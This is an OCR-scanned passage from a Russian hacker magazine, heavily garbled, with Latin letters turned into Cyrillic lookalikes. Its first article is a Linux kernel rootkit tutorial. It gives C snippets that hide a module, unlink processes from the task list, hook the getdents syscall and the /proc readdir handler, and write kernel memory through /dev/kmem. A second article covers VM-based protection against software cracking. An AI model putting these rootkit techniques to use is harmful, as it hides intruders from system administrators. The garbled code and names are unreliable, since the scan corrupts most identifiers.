Видітад и реализующийся так же, как и пе- 
рехват остальных обращений к файловой 
системе) — довольно громоздкий и нена- 
дежный метод, бессильный против коман- 
ды сИ И=/рюс/тосІиІез Ьз=1. 

[з] Затирание структуры тосіиіе іпіо (ме- 
тод Зоіаг'а Эезідпег'а, описанный в статье 
«ѴѴеакепіпд ІІте І_іпих Кегпеі», опубликован- 
ной в 52 номере РЕІРАСК'а) — элегантно и 
довольно надежно. Расскажем об этом 
поподробнее. 

Вся информация о модуле хранится в 
структуре тосіиіе іп(о, содержащейся 
внутри системного вызова зуз_іпі1_тосІ- 
иІе(). Подготовив модуль к загрузке и за- 
полнив тосіиіе іпію надлежащим обра- 
зом, он передает управление нашей 
функции Іпі1_гтюс1и1е (см. тап іпі1_тосІиІе). 
Любопытная особенность ядра — безы- 
мянные модули без референсов не отоб- 
ражаются! Чтобы удалить модуль из спис- 
ка, достаточно обнулить поля пате и геіз. 
Это легко. Определить адрес самой тосі- 
иіе іпію намного сложнее. Ядро не заинте- 
ресовано сообщать его первому встреч- 
ному хакеру, поэтому приходится 
действовать исподтишка. Исследуя му- 
сор, оставшийся в регистрах на момент 
передачи управления іпгМтосІиІе, Зоіаг 
Эезідпег обнаружил, что в одном из них со- 
держится указатель на... тосіиіе іпію! Вето 
версии ядра это был регистр ЕВХ, в иных 
версиях он может быть совсем другим или 
даже вовсе никаким. Существует специ- 
альная заплатка для старых ядер, затыка- 
ющая эту лазейку, правда, далеко не у 
всех она установлена. Впрочем, эффек- 
тивный адрес тосіиіе іпію легко устано- 
вить дизассемблированием, точнее не 
сам адрес — память под него выделяется 
динамически, а адрес машинной 
инструкции, ссылающейся на тосіиіе іпію. 
Правда, в каждой версии ядра он будет 



своим... Простейший пример маскировки 
выглядит так (кстати, во РНРАСК'е опечат- 
ка: «ге(» вместо «геіз»): 

[маскировка модуля методом Зоіаг'а 
Оезідпег'а] 

іпі іпі1„тосІиІѳ() 

{ 

Г подставь сюда регистр, в кото- 
ром твое ядро держит адрес тосіиіе іпіо 7 

гедізіег зігисі тосіиіе *тр 
азт(“%еЬх"); 

*(сНаг*)тр->пате=0; // затираем 
имя модуля 

тр->зІ 2 е= 0 ; // затираем раз- 

мер 

тр->ге(з=0; // затираем ре- 

фе рейсы 

} 

Неправильное определение адреса тосі- 
иіе іпію, скорее всего, уронит ядро системы 
или заблокирует просмотр списка моду- 
лей, что сразу же насторожит администра- 
тора. Но у нас есть в запасе еще один ва- 
риант: просматриваем список установлен- 
ных модулей, находим из них самый ненуж- 
ный, выгружаем его из памяти и загружаем 
свой, с таким же точно именем. Если нам 
повезет, администратор ничего не заметит. 

[исключение процесса из списка задач] 

Перечень всех процессоров хранится 
внутри ядра в виде двунаправленного 
списка І’азк.зігисі, определение которого 
можно найти в файле Ііпих/зсІіесІ.Іп. 
І\Іех1_1азк указывает на следующий про- 
цесс в списке, ргеѵ_1азк — на предыду- 
щий. Физически 1азк_з1тис1 содержится 
внутри РСВ-блоков (Ргосезз СопІтоІ ВІоск), 
адрес которых известен каждому процес- 
су. Переключение контекста осуществля- 
ется планировщиком (зсіпесіиіег), который 
определяет, какой процесс будет выпол- 
няется следующим. Если мы исключим наш 
процесс из списка, он автоматически ис- 
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[последствия маскировки модуля методом Зоіаг'а [организация процессов в Шлих] 
Резідпег'а] 



[хакер 05 [77] 05 > ІІІЧІХОЮ юз] 



аюхіып 




[Удаление процесса из двунаправленного списка 
процессов] 



чезнет из списка процессов /ргос, но 
больше никогда не получит управление, 
что в наши планы, вообще-то, не входит. 
Просматривая список процессов, легко об- 
наружить, что в нем отсутствует тот, РЮ кото- 
рого равен нулю. А ведь такой процесс (точ- 
нее, псевдопроцесс) есть! Он создается 
операционной системой для подсчета заг- 
рузки ЦП и прочих служебных целей. 
Допустим, нам необходимо скрыть про- 
цесс с идентификатором 1901. Исключаем 
его из двунаправленного списка, склеивая 
ме>кду собой поля пех1_1азк/ргеѵ_1азк двух 
соседних процессов. Подцепляем наш 
процесс к процессу с нулевым РЮ'ом, 
оформляя себя как материнский процесс 
(за это отвечает поле р_рр1т) и... модифи- 
цируем код планировщика так, чтобы ро- 
дитель процесса с нулевым РЮ'ом хотя бы 
эпизодически получал управление. Если 
необходимо скрыть более одного процес- 
са, их можно объединить в цепочку, ис- 
пользуя поле р_рр1т или любое другое ре- 
ально незадействованное поле. 

Исходный код планировщика содержится 
в файле /изг/згс/ііпих/кегпеі/зсітесі.с. Нуж- 

, , ный нам фрагмент легко найти по ключево- 

^ му слову «доосіпезз» (имя функции, опре- 
деляющей значимость процесса в глазах 
планировщика). В различных ядрах он выг- 
лядит по-разному. Например, моя версия 
реализована так: 

[сердце планировщика] 

// начальное значение веса 
с = -1000; 

// ищем процесс с наибольшим весом в 
очереди исполняющихся процессов 
ѵѵііііе (р != &іпі1_1азк) 

{ 

// определяем вес процесса в 
глазах планировщика 
// (т.е. степень его нужды в 
процессорном времени) 
ѵѵеідМ = доосІпезз(ргеѵ, р); 

// выбираем самый затратный 
процесс 

// для процессов с одинаковым 
весом используем поле ргеѵ 
І1 (ѵѵеідбі > с) 

{ 

с = ѵѵеідНІ; пехі = р; 

} 

р = р->пех(_гип; 

} 
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[последствия неудачного перехвата системных вызовов] 



И (Іс) 

{ 

// все процессы выработали свои 
кванты, начинаем новую эпоху 

// хорошее место, чтобы добавить 
передачу управления на замаскирован- 
ный процесс 

} 

Процедура внедрения в планировщик 
осуществляется по стандартной схеме: 
сохраняем затираемые инструкции в сте- 
ке; вставляем команду перехода на нашу 
функцию, распределяющую процессор- 
ные кванты нулевого процесса среди 
скрытых процессов; выполняем ранее 
сохраненные инструкции; возвращаем уп- 
равление функции-носителю. 

Поскольку машинное представление пла- 
нировщика зависит не только от версии яд- 
ра, но и от ключей компиляции, атаковать 
произвольную систему практически нере- 
ально. Предварительно необходимо ско- 
пировать ядро на свою машину и дизассе- 
мблировать его, а после разработать под- 
ходящую стратегию внедрения. 

Если атакуемая машина использует штат- 
ное ядро, мы можем попробовать опоз- 
нать его версию по сигнатуре, используя 
заранее подготовленную стратегию внед- 
рения. Далеко не все админы перекомпи- 
лируют свои ядра, поэтому такая тактика 
успешно работает. Впервые она была 
представлена на европейской конферен- 
ции ВІаск Наі в 2004 году, электронная пре- 
зентация которой находится в файле 
\ѵ\ѵ\ѵ.ЫаскІіаі.сот/рге5епіа'Иоп5/Ыі- 
ѳигорѳ-04/Ыі-ѳи-04-ІэиіІег.рсІ і. По этому 
принципу работают многие гооікіі'ы и, в 
частности, РЕіапІазтадогіа. 

[перехват системных вызовов] Помнишь 
М5ЮОЗ? Там стелсирование осуществля- 
лось путем подмены прерываний ІІМТ 
13Ті/ІІ\ІТ 21Ті. В Еіпих для той же цели исполь- 
зуется перехват системных вызовов (зуз- 
Тет саІІ или сокращенно зузсаІІ). Для сок- 
рытия процессов и файлов достаточно пе- 
рехватить всего один из них — деісіепіз, на 
которую опирается всем известная геасі- 
сііг, которая, в полном согласии со своим 
именем, читает содержимое директорий 
(и директории /ргос в том числе!). Другого 
легального способа просмотра списка 



процессов под Еіпих, в общем-то, и 
нет. Функция-перехватчик садится 
поверх деісіепіз и просматривает 
возвращенный ею результат, выку- 
сывая из него все лишнее, то есть 
работает как фильтр. 

Сетевые соединения стелсируется 
аналогичным образом (они монти- 
руются на /ргос/пеі). Чтобы замас- 
кировать сниффер, необходимо пе- 
рехватить системный вызов іосіі, по- 
давляя РГЮМІ$С-флаг, А перехват 
системного вызова де1_кегпеІ_зут- 
Ьоіз позволяет замаскировать ЬКМ- 
модуль так, что его никто не найдет. 
Звучит заманчиво. Остается только 
реализовать это на практике. Ядро 
экспортирует переменную ехіегп 
ѵоіф зуз_саІІ_1аЫе, содержащую 
массив указателей на зузсаІІ'ы, 
каждая ячейка которого содержит 
либо действительный указатель на соотве- 
тствующий зузсаІІ, либо N1114-, свидетель- 
ствующий о том, что данный системный вы- 
зов не реализован. 

Просто объяви в своем модуле перемен- 
ную *зуз_саІІ_1аЫеО, и тогда все систем- 
ные вызовы окажутся в твоих руках. Имена 
известных зузсаІІ'ов перечислены в файле 
/изг/іпсІисІе/зуз/зузсаІІ.Іт. В частности, 
зуз_саІІ_1аЫе(5У5_де1сІеп1з) возвращает 
указатель на деісіепіз. 

Простейший пример перехвата выглядит 
так (за более подробной информацией 
обращайся к статье «ѴѴеакепіпд ІЬе Ппих 
КегпеІ», опубликованной в 52 номере 
РНРАСК'а): 

[техника перехвата системных вызовов] 

// указатель на таблицу системных вызо- 
вов 

ехіегп ѵоіб *зуз_саІІ_1аЫе[]; 

// указатели на старые системные вызовы 
іпі (*о_де1беп1з) (иіпі, зігисі бігепі *, иіпі); 

// перехват! 

іпі іпі1_тос!иІе(ѵоісі) 

{ 

// получаем указатель 
на оригинальный 
// системный вызов 8УЗ_де1беп1з 
// и сохраняем его в переменной 
о_деісІепІ5 

о_деМеп(з = 

зуз_саІІ_ІаЫе[ЗУЗ_деІс1еп1з]; 

// заносим указатель на функцию- 
перехватчик 

// (код самого перехватчика для 
экономии здесь не показан) 
зуз_саІІ_ІаЫе[ЗУЗ_деІбеп1з] = 

(ѵоіс! *) п_де(с1еп1з; 

// возвращаемся 
геіигп 0; 

} 

// восстановление оригинальных обработ- 
чиков 

ѵоіб с!еапир_тос1иІе(ѵоіс1) 

{ 

зуз_саІІ_ІаЫе[ЗУ8_де1с1еп1з] = 

о_деМеп1з; 

} 






[когда модули недоступны] Для борьбы с І.КМ-гооІ’к- 
іі'ами некоторые админы компилируют ядро без под- 
держки загружаемых модулей и удаляют файл 
Зузіет.тар, лишая нас таблицы символов. Но хаке- 
ры выживают даже в этих суровых условиях. 
Идеология ІІІМІХ выгодно отличается от ѴѴІпсІо\л/$ тем, 
что любая сущность (будь то устройство, процесс 
или сетевое соединение) монтируется на файло- 
вую систему, подчиняясь общим правилам. Не из- 
бежала этой участи и оперативная память, предс- 
тавленная псевдоустройствами /сіеѵ/тет (физи- 
ческая память до виртуальной трансляции) и 
/сіеѵ/ктет (физическая память после виртуальной 
трансляции). Манипулировать данными устройства- 
ми может только гооі, однако спускаться на уровень 
ядра ему необязательно, а значит, поддержка мо- 
дульности нам не нужна! Следующие функции де- 
монстрируют технику чтения/записи ядерной памя- 
ти с прикладного уровня: 

[чтение/запись в/из /сіеѵ/ктѳт] 

// чтение данных из /сіеѵ/ктет 

зіаііс іпііпе іпі гкт(іп( Іф іпі оіізеі, ѵоісі *Ьиі, іпі зіге) 

{ 

і( (Ізеек(М, оіізеі, 0) != оіізеі) геіигп 0; 

і( (геас1(М, Ьиі, зіге) != зіге) геіигп 0; 

геіигп зіге; 

} 



[просмотр /сіеѵ/тет в Ьех-редакторе] 

По такому принципу работает подавляющее большинство 
гооікіі'ов, правда, попав на неизвестное ядро, часть из них 
со страшным грохотом падает, а часть просто прекращает 
работу, что неудивительно! Ведь раскладка системных вызо- 
вов меняется от ядра к ядру! 

[перехват запросов к файловой системе] Ядро экспортирует пере- 
менную ргос_гооі — корневой узел (гооТ іпосіе) виртуальной файло- 
вой системы ргос_гооі, традиционно монтируемой на директорию 
/ргос. При желании мы можем установить поверх нее свой собствен- 
ный фильтр-обработчик, скрывающий хакерские процессы от чужих 
глаз. В отличие от системных вызовов, перехват переменной 
ргос_гооТ не чувствителен к версии ядра, а это уже преимущество! 
Простейший перехватчик может выглядеть так (за более подроб- 
ной информацией обращайся к статье «5иЬ ргос_гоо+ Оиапсіо 
Зигттиз», опубликованной в ЗАіг номере РНКАСК'а): 

[новый фильтр для файловой системы ргос_гооі] 

// глобальный указатель на оригинальную іііібіг-функцию 
ІіІІсІігП геаПІІІсІіг; 

зіаііс іпі п е ѵѵ_Ті 1 1 сі і г_гооІ (ѵоісі* Ьиі, сопзі сЬаг* пате, іпі патіеп, 

о(і_1 оіізеі, іпо_1 іпо) 

{ 

// анализируем каждое имя в директории, 

// если это имя того модуля/процесса/файла/сетевого 
соединения, 

// которое мы хотим скрыть, возвращаем ноль, 

// в противном случае передаем управление оригинальной 

// ІІІІсііг-функции 

ІІ (ізНібсІеп (пате)) геіит 0; 

геіигп геаПІІІсІіг ( Ьиі, пате, патіеп, оіізеі, іпо); 

} 

// новая функция геабсііг 

іпі пеѵѵ_геасісІіг_гооІ (зігисі іііе *а, ѵоісі *Ь, Іі11с1іг_1 с) 

{ 

// инициализируем указатель на оригинальную 

ІІІІсііг-функцию 

геаПІІІсІіг = с; 

геіигп оІб_геасІсІіг_гооі (а, Ь, п е ѵѵ_Ті 1 1 сі і г_гооІ) ; 

} 



// запись данных в /сіеѵ/ктет 
зіаііс іпііпе іпі ѵѵкт(іпІ (сі, іпі оіізеі, ѵоісі *Ьиі, іпі зіге) 

{ 

іі (Ізеек(ісІ, оіізеі, 0) != оіізеі) геіигп 0; 
іі (\л/гііе(ісІ, Ьиі, зіге) != зіге) геіит 0; 
геіигп зіге; 

} 

Остается только найти во всем этом мусоре таблицу систем- 
ных вызовов. Да как же мы ее найдем, если никакой символь- 
ной информации у нас нет?! Без паники! Нам помогут цент- 
ральный процессор и машинный код обработчика прерыва- 
ния НТ 801т, которое этими системными вызовами, собственно 
говоря, и заведует. Его дизассемблерный листинг в общем 
случае выглядит так: 



[фрагмент дизассемблерного 

листинга обработчика прерывания ІИТ 80Ь] 




0хс0106Ьс8 <зузІет_саІІ>: ризЬ 


%еах 




[зпір] 

0хс0106М2 <зузІет_саІІ+42>: 


Іпѳ 


ОхсОІ 06с48 


<ігасезуз> 

0хс0106М4 <зузІет_саІІ+44>: 


саІІ 




*0хс01 еОіІ 8(,%еах,4) 
ОхсОІОбЫЬ <зузІет_саІІ+51>: 


тоѵ 


%еах,0х1 8(%езр,1 ) 


ОхсОІОбЫі <зузІет_саІІ+55>: 


пор 





Смотри, по адресу 0С0106ВР4ІТ расположена команда САП, 
непосредственным аргументом которой является... указатель 
на таблицу системных вызовов! Адрес команды САБЕ может ме- 
няться от одного ядра к другому, или это даже может быть сов- 
сем не САІ_І_ — в некоторых ядрах указатель на таблицу систем- 
ных вызовов передается через промежуточный регистр коман- 
дой МОѴ. Короче, нам нужна команда, одним из аргументов ко- 
торый является непосредственный операнд X > ОСООООООІт. Ес- 
тественно, чтобы его найти, потребуется написать простенький 
дизассемблер (звучит страшнее, чем выглядит) или скачать го- 
товый движок из Сети. 

А как найти адрес обработчика І!\ІТ 801т в файле /сіеѵ/ктет? 
Просто спроси об этом процессор — он скажет. Команда 5ЮТ 
возвращает содержимое таблицы дескрипторов прерываний 
(Іпіеггирі Оезсгіріог ТаЫе), восьмидесятый'!! элемент с краю и 
есть наш обработчик! © 



// устанавливаем свой собственный фильтр 
ргос_гооІ.РИЕ_ОР5->геасІсІіг = пеѵѵ_геас!сІіг_гооІ; 



[хакер 05 [77] 05 > ІШІХОЮ 105 ] 







ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕНРШМ НЬЮСЫ 

| (сІеІрГіі) | 






Виртуальная 
машина на страже 
порядка 

КРЭКЕР СКАЧАЛ НОВУЮ ПРОГРАММУ, 

У КОТОРОЙ БЕЗ РЕГИСТРАЦИИ ВСЕ ФУНК- 
ЦИИ ЗАБЛОКИРОВАНЫ. «НУ, НЕ ВПЕРВОЙ», — 
ПОДУМАЛ КРЭКЕР И ПОЛЕЗ ЗА ДИЗАССЕМ- 
БЛЕРОМ. ПОСЛЕ ДЕСЯТИ МИНУТ ИССЛЕДО- 
ВАНИЯ ПРОГРАММЫ ОН НЕ НАШЕЛ НИ ОД- 
НОЙ СТРОЧКИ ПОНЯТНОГО КОДА. «МОЖЕТ, 
ПРОГРАММА УПАКОВАНА?» — ПРЕДПОЛО- 
ЖИЛ КРЭКЕР. НО НЕТ, КОД НА ТОЧКЕ ВХО- 
ДА СТАНДАРТНЫЙ, СОЗДАННЫЙ КОМПИЛЯ- 
ТОРОМ, СЛЕДОВ УПАКОВЩИКОВ НЕ ВИД- 
НО. ТОЛЬКО ПОСЛЕ ДОЛГОГО И ИЗНУРИ- 
ТЕЛЬНОГО ИССЛЕДОВАНИЯ КОДА ДО КРЭ- 
КЕРА, НАКОНЕЦ, ДОШЛО, ЧТО ДЕЛО ОН 
ИМЕЕТ НЕ С КАКИМ-НИБУДЬ ФИГОВЫМ 
ПРОТЕКТОМ, А С ЗАЩИТОЙ ВИРТУАЛЬНОЙ 
МАШИНОЙ I ѲРсН (асітіп@сІо11 : іх.пе1' / \л/\л/ѵѵ.ЦоШ.пеі) 



Защити программу с помощью 
собственного интерпретатора кода 

«Что же такое виртуальная машина?» — спросишь ты. Фактиче- 
ски виртуальная машина (ѴМ) — это интерпретатор, задача 
которого — перевод понятного ему промежуточного кода по 
установленным правилам в машинный паііѵе-код и его выпол- 
нение. Зачем такое может понадобиться? Изначально проме- 
жуточный код и виртуальные машины планировались как еще 
один уровень независимости от оборудования. Ведь ты зна- 
ешь, что программа, созданная для МасОЗ, под виндами и на 
стандартном х86-камне работать не будет, так как она напич- 
кана маковским паТіѵе-кодом. А вот если бы программа ком- 
пилировалась в промежуточный код, а на виндах стояла спе- 
циальная виртуальная машина — никаких проблем бы не было. 
На принципе «виртуальные машины плюс промежуточный код» 
основан, например, язык Заѵа. Все программы, созданные на 
нем, компилируются в код, который впоследствии должен вы- 
полняться на виртуальной машине. Так как ѴМ понаделали под 
все существующие платформы, Заѵа-программы могут рабо- 
тать везде. Хочешь — на маке, хочешь — на Виндах под х86, хо- 
чешь — на твоей любимой мобиле. 

Как ты понимаешь, обычные дизассемблеры, рассчитанные на 
паТіѵе-код, промежуточного кода не могут понять в принципе. От- 
сюда и популярность в отличной от портирования приложений 
области. Метод интерпретации стали использовать авторы про- 
фессиональных защит для затруднения исследования и взлома 
программ крэкерами. Думаешь, почему программы, написан- 
ные на ѴізиаІ Вазіс, так сложно ломаются и кряки к ним выходят не 
сразу? Вся фишка в том, что ѴВ умеет компилировать программы 
не только в машинный код, но и в интерпретируемый р-код, кото- 
рый выполняется виртуальной машиной МЗѴВѴМбСШИ, без кото- 



рой, как это ни печально, не запу- 
стится ни одна ѴВ-программа. С 
другими языками программиро- 
вания до недавнего времени об 
использовании виртуальных ма- 
шин не было и речи, но теперь есть 
софт для перевода кода, создан- 
ного компиляторами Эеіріпі и 
С\С++, из машинного в интерпре- 
тируемый для усложнения его ис- 
следования. Программы могут 
стать почти не взламываемыми. Но 
обо всем по порядку. 

[виртуальная машина ѴВ 6.0] Как 

я уже говорил, ѴізиаІ Вазіс 6.0 
имеет собственную виртуальную 
машину, так называемую Місго- 
зоГГ ѴізиаІ Вазіс Ѵіг+иаІ МасГііпе 6.0 
(М5ѴВѴМ60.ОЩ. Движок интер- 
претатора содержится в секции 
Епдіпе этой библиотеки и рабо- 
тает только в том случае, если ты 
компилируешь программу в р- 
код. По умолчанию ѴВ создает 
паііѵе-код. Чтобы включить компи- 
ляцию в интерпретируемый код, 
нужно в среде программирова- 
ния зайти в меню Ргоіесі -> Ргорег- 
Ііез. Далее на вкладке «Сотрііег» 
поставить радиокнопку в поло- 
жение «Сотрііе Іо р-собе» и на- 
жать «ОК». Теперь программа бу- 
дет компилироваться в интерпре- 
тируемый код, и взломать ее бу- 
дет в разы сложней. Хотя если у 
крэкера есть декомпилятор р-ко- 
да, то он сможет увидеть чуть ли 
не исходник твоей проги. 

Но тут я тебя обрадую: бесплат- 
ных декомпиляторов, способных 
разобрать программу до самого 
исходника, нет, а коммерческие 
стоят так дорого, что крэкеру они будут просто не по карману. Да 
и интереса у него не будет покупать этот декомпилятор, так как 
шаровар, скомпилированных в р-код, в Сети крайне мало. 

Я надеюсь, тебе стало интересно, что же такого визуальный бэй- 
сик наворотил в ехе-файле, что программа стала работать на р- 
коде? Давай посмотрим. 

Точка входа в программе будет выглядеть так: 

ризН оНзеІ ѴЕЦЧеасІег 

саІІ М8ѴВѴМ60.0И::ТГіипПТМаіп 

Любая программа, написанная на ѴВ, начинает свою работу 
с функции ТіпипРТМаіп. Единственный параметр, который ей пере- 
дается, — ссылка на ѴВ_Неабег, структуру, полностью описываю- 
щую настройки программы, содержащиеся в ней функции и ссы- 
лки на таблицу переходников импорта, а также ссылки на масси- 
вы форм. В этих структурах для описания объектов форм активно 
используется технология СОМ, понятная интерпретатору ѴВ. 
Самое главное, что нужно функции ТГіипРТМаіп уяснить из этих 
структур, — во что откомпилирована программа. Если в р-код, то 
ѴВ подключает к работе свой интерпретатор, в противном случае 
настраивает объекты и передает управление таіп-функции про- 
граммы. Ты не подумай ничего плохого, интерпретатор тоже в ко- 
нечном счете будет выполнять таіп, но она же будет в виде про- 
межуточного кода! А выполнение промежуточного кода — это от- 
нюдь не то же самое, что запуск паТіѵе. Каждый, даже самый ма- 
ленький кусочек р-кода будет выполнен в самом движке, что 
чрезвычайно затруднит отладку программы крэкером, так как, по 
сути, ему придется отлаживать не программу, а виртуальную ма- 
шину. Это если браться за дело с каким-нибудь стандартным от- 
ладчиком вроде ОІІу или 51. 

К великой радости крэкера для р-кода существует специальный 
отладчик (не декомпилятор), который даст возможность взломщи- 
ку не париться с отладкой интерпретатора, а мучать сразу про- 



межуточный код. Более того, он бесплатен! Но честно говоря, он 
не сильно упрощает взлом программы. Отладчик этот довольно 
глючный, а распакованные программы вообще отказывается от- 
лаживать, потому не забудь перед релизом сжать программу лю- 
бым ЕХЕ-упаковщиком, например Р5Ѳ или пЗраск'ом, чтобы крэк- 
еру уж совсем хреново было. 

В общем, если ты пишешь программы на ѴВ, не забывай об этой 
хорошей возможности защитить свой код. 

[виртуальная машина .ЫЕТ] На платформе .ЫЕТ на каком бы ты 
языке ни писал, твоя программа будет компилироваться в интер- 
претируемый код. Если в ѴВ 6.0 библиотека интерпретатора 
(виртуальная машина), требуемая твоей программе, после ее 
компиляции занимала 1,3 Мб, то здесь разработчики пошли 
дальше — .ІЧЕТ Ргатеѵѵогк занимает целых 20 мегов. Если его нет 
на машине клиента, то программы, написанные для платформы 
.ІЧЕТ, работать не будут. Интерпретируемый язык этой платформы 
называется И (сокращение от ІпІегтесііаТе Бапдиаде) и значи- 
тельно лучше реализован, чем бэйсиковский р-код. На данный 
момент существует несколько декомпиляторов ІІ_ (в том числе 
и моя любимая Ісіа Рго — прим. Горлума), которые без особого 
геморроя переведут ехе-файл твоей программы в исходник, по- 
этому не защита программы получится, а наоборот. Хотя авторы 
компилятора тоже не лохи, они сделали две примочки, чтобы 
ухудшить жизнь крэкеру: 

20 обфускатор И-кода, способный убрать всю лишнюю информа- 
цию из ЕХЕ. После такой обработки исследовать программу бу- 
дет крайне сложно даже с декомпилятором. 

[ 2 ] программу для конвертирования И-кода в обычный паііѵе-код. 
Но по слухам, эта примочка очень сильно глючит, и то, что твоя 
программа после конвертирования будет нормально работать, 
зависит лишь от фазы Луны :). 

Обе эти программки входят в состав ѴізиаІ ЗТисііо последних вер- 
сий, так что не забывай о них. 

[интерпретирование в Реіріті] Конечно, ѴВ, ѴЗ .[ЧЕТ — это все кру- 
то, но как же быть тем, кто пишет программы на ЭеірГіі? ЭеірГіі 
ведь не умеет создавать интерпретируемый код (последняя вер- 
сия, имхо, умеет ІІ_ на выходе получать. — Прим. Горлума). Имен- 
но поэтому программы, написанные на данном языке програм- 
мирования, работают быстрее программ, написанных, напри- 
мер, на ѴізиаІ Вазіс. Скажу по секрету, ломаются они тоже бы- 




[один из декомпиляторов ѴЗ .ЧЕТ. Практически идеальный листинг] 




[один из декомпиляторов р-кода.В таком коде без ста грамм не разобраться] 




На диске лежит исходник 
скриптового движка, 
рассмотренного в статье, 
а также программа I /М 
Ргоіесі. 




Подробнее о машинном 
коде ты можешь узнать на 
сайте тзт.ги. Там же ты 
найдешь массу полезных 
инструментов. 



[хакер 05 [77] 05 > КОДИНГ 109 ] 
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стрее :). Так как же защитить Эеіріті-проги? До недавнего вре- 
мени я бы ответил, что никак, но теперь есть замечательная 
программа ѴМ РгоТесТ, написанная нашим соотечественни- 
ком. Умеет она ни много ни мало, а переводить отдельные 
процедуры твоей программы на специальный трудноломае- 
мый р-код. Автор тулзы пошел дальше стандартных интерпре- 
тируемых языков. В его интерпретаторе функции и соответ- 
ствующие им коды выбираются динамически, и написать де- 
компилятор данного языка практически невозможно. Конечно, 
всю программу защищать не имеет смысла, и я тебе советую 
ограничиться защитой только тех функций, в которых твоя про- 
грамма производит проверку пароля, активацию, разблоки- 
рование опций, установку ТгіаІ'а — короче, тех, которые крек- 
еру видеть нежелательно. Использовать эту чудо-программу 
несложно. 

Для начала определись, какие функции в своей программе ты ре- 
шил защитить. Затем открывай Эеіріті, в меню «Ргоіесі'» выбирай 
«ОрТіопз» и щелкай по вкладке «І_іпкег». Там радиокнопку «Мар Еі- 
Іе» установи в положение «Эеіаііесі», жми «ОК» и компилируй свою 
программу. В папке с экзешником должен появиться *.тар-файл. 
Из него-то и будет брать данные о процедурах ѴМ РгоТесТ. 

Когда все готово, запускай ѴМ РгоТесТ, жми в меню «Файл» на 
«Открыть» и выбирай свою прогу. Ты увидишь пока пустое окно. 
Не стесняйся, жми <СТгІ>+<Іпз>. Если ты все сделал правильно, 
появится список процедур, используемых в твоей программе. 
Там будет куча ненужных, созданных компилятором, и ближе к 
концу списка будут те, которые создал ты сам. Выбирай ту, ко- 
торую хочешь защитить, и жми «ОК» — она добавится в то сам- 
ое пустое окно. Точно так же добавляй все нужные процеду- 
ры. Перед тем как жать на зеленый треугольник, не поленись 
зайти на вкладку «Опции». Если в тех процедурах, что ты решил 
защитить, не требуется высокой скорости их выполнения, то 
ставь все галочки, кроме режима отладки. Режим отладки ну- 
жен для бейсиковских прог, нашей же проге он не потребует- 
ся, зато остальными опциями пренебрегать не стоит, они толь- 
ко улучшат защиту. Еще смени название секции на что-нибудь 
типа .ісіаіа, чтобы никто не догадался, что ты заюзал защиту 
в своей программе. Кстати, если ты случайно забыл создать 
*.тар-файл, то процедуры в программе можно выбрать не 
только по именам, но и по адресам — для этого служит вклад- 
ка «Эитр». Теперь, когда все подготовлено, нелишне сохра- 
нить проект. Фишка сохранения в том, что при последующих 
компиляциях, если адреса процедур в ехе-файле будут ме- 
няться, ѴМ РгоТесТ автоматически их найдет и пересчитает ад- 
реса. Потому все телодвижения можно делать всего один раз, 
а потом юзать готовый проект. Ладно, совсем я тебя загово- 
рил. Жми зеленый треугольник на тулбаре и радуйся: кряки к 
твоей программе появятся нескоро, а может, и вообще не по- 
явятся — все зависит от того, насколько грамотно ты реализо- 
вал защиту (внешнюю в лице ѴМ РгоТесТ и внутреннюю). Только 
не спрашивай меня, где взять ѴМ РгоТесТ, — диски-то не зря к жур- 
налам прилагают :), 




[ѴМ Ргоіесі — лучший друг шароварщика :)] 

[принцип работы ѴМ РгоТесТ] Думаю, тебе нелишним будет уз- 
нать, что делает ѴМ РгоТесТ с ехе-файлом после того, как ты 
жмешь на зеленый треугольник. Протектор имеет встроенный 
дизассемблер, позволяющий проанализировать код защи- 
щаемых функций, выявить константы, вызовы внешних проце- 
дур, а также используемые строковые данные и перевести все 
это дело в формат, понятный только интерпретатору ѴМ Рго- 
ТесТ'а. После анализа в программе создаются две секции. Од- 
на содержит движок виртуальной машины, который, кстати, всег- 
да генерируется разный (соответствие функций командам р-ко- 
да выбирается случайно) и содержит интерпретатор кода; вто- 
рая секция содержит функции твоей программы, переведенные 
в р-код. А что же остается на том месте, где располагался ори- 
гинальный код защищенных функций? Там размещается вызов 
интерпретатора, а остальное пространство попросту не ис- 
пользуется (забивается нулями), поэтому не поленись после об- 
работки программы сжать ее каким-нибудь упаковщиком. Если 
же ты все-таки поставил в опциях программы галочку «Режим от- 
ладки», то на том месте, где была защищаемая функция, будет 
гора команд ІІЧТ 3. Это нужно для выявления внешних 
адресов, которые используются в основном только в 
ѴВ-программах. Вот, в общем, и вся идея защиты с 
помощью виртуальной машины. Пора начать вопло- 
щать идею в жизнь. 

[кодим свой интерпретатор] Чтобы лучше разо- 
браться с принципом интерпретирования, напи- 
шем простой скриптовый язык, обрабатывающий 
команды, понятные только ему, и выполняющий их 
с помощью обычных инструкций процессора. Ду- 
маю, ты наверняка найдешь применение этому ко- 
ду, так как сейчас авторы многих программ стре- 
мятся помочь пользователю подстроить програм- 
му под себя и нередко включают в свои програм- 
мы для этих целей скриптовые языки, которые са- 
ми и придумывают. Рекомендую и тебе не прене- 
брегать в своих прогах использованием скриптов, 
чтобы, если ты когда-нибудь забросишь програм- 
му, пользователи смогли самостоятельно повы- 
шать ее возможности за счет написания скриптов 
к ней. Как альтернативу скриптам многие исполь- 
зуют плагины в программах, но плагины не дают та- 
кой свободы разработки, они требуют отдельной 
среды, компилятора и т.п. 




[вот примерный вид нашего интерпретатора] 




[в отладчике ОеІрЬі видно, что ассемблерная вставка в нашей Итак, давай определимся с 
функции присутствует практически без изменений] требованиями к интерпрета- 

тору скриптового языка, кото- 
рый мы собрались писать. Во-первых, он должен уметь понимать не только коман- 
ды, но и передаваемые им параметры, при этом параметров может быть сколько 
угодно и все они должны обрабатываться. Во-вторых, интерпретатор должен легко 
модифицироваться. Для добавления новой команды изменения в исходном коде 
должны быть минимальны. В-третьих, интерпретатор должен сам определить в 
строке, где команда, а где параметры, и правильно все это дело обработать. Дан- 
ные будут передаваться нашему интерпретатору в следующем виде: «команда па- 
раметр_1, параметр_2, параметр_3 параметр_п». Число параметров ограни- 

чим десятью (от 0 до 9), думаю, больше использовать нам вряд ли придется. Возь- 
мем эти данные за основу и напишем движок интерпретатора. Что вышло у меня, 
можно посмотреть на врезке. 

Несмотря на то, что на врезке откомментировано практически все, некоторые 
участки кода я рассмотрю отдельно. Первое, о чем я хотел бы сказать, — это функ- 
